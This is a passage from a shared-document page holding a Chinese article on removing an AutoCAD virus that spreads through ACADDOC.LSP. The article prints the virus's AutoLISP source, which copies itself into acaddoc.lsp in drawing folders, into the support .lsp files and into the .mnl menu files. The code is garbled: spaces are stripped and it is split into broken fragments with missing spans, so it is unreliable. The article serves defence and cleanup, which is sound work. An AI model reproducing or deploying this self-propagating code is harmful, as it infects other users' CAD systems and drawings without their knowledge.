一种CAD病毒的清除与防范措施.doc

《一种CAD病毒的清除与防范措施.doc》由会员上传分享，免费在线阅读，更多相关内容在工程资料-天天文库。

1、一种CAD病毒的清除与防范措施雪山飞猪QQ534455近来又出现一种AutoCAD病毒，该病毒与以往CAD病毒不同。干净的CAD系统当打开DWG图时，如果该图所在目录下有ACADDOC.LSP文件（基本为病毒传播文件），ACADDOC.LSP就会运行。1.病毒的特征与传播方式我们先看看病毒代码，代码如下：(setqflagxt)(setqbz"(setqflagxt)")(defunapp(sourcetargetbz/flagflag1wjmwjm1text)(setqflagnil)(setqflag1t)(if(findfiletarget)(progn(setqwjm

2、1(opentarget"r"))(while(setqtext(read-linewjm1))(if(=textbz)(setqflag1nil)));while(closewjm1));progn);if(ifflag1(progn(setqwjm(opensource"r"))(setqwjm1(opentarget"a"))(write-line(chr13)wjm1)(while(setqtext(read-linewjm))(if(=textbz)(setqflagt))(ifflag(progn(write-linetextwjm1));progn);if);w

3、hile(closewjm1)(closewjm));progn);if);defun(setvar"cmdecho"0)(setqacadmnl(findfile"acad.mnl"))(setqacadmnlpath(vl-filename-directoryacadmnl))(setqmnlfilelist(vl-directory-filesacadmnlpath"*.mnl"))(setqmnlnum(lengthmnlfilelist))(setqacadexe(findfile"acad.exe"))(setqacadpath(vl-filename-direc

4、toryacadexe))(setqsupport(strcatacadpath"\support"))(setqlspfilelist(vl-directory-filessupport"*.lsp"))(setqlspfilelist(appendlspfilelist(list"acaddoc.lsp")))(setqlspnum(lengthlspfilelist))(setqdwgname(getvar"dwgname"))(setqdwgpath(findfiledwgname))(ifdwgpath(progn(setqacaddocpath(vl-filen

5、ame-directorydwgpath))(setqacaddocfile(strcatacaddocpath"\acaddoc.lsp"))(setqmnln0)(while(

6、e(strcatsupport"\"(nthlspnlspfilelist)))(applspfilenameacaddocfilebz)(appacaddocfilelspfilenamebz)(setqlspn(1+lspn)));while);progn);if(setqmnln0)(while(

7、h"\"(nthmnln1mnlfilelist)))(appmnlfilenamemnlfilename1bz)(setqmnln1(1+mnln1)));while(setqlspn10)(while(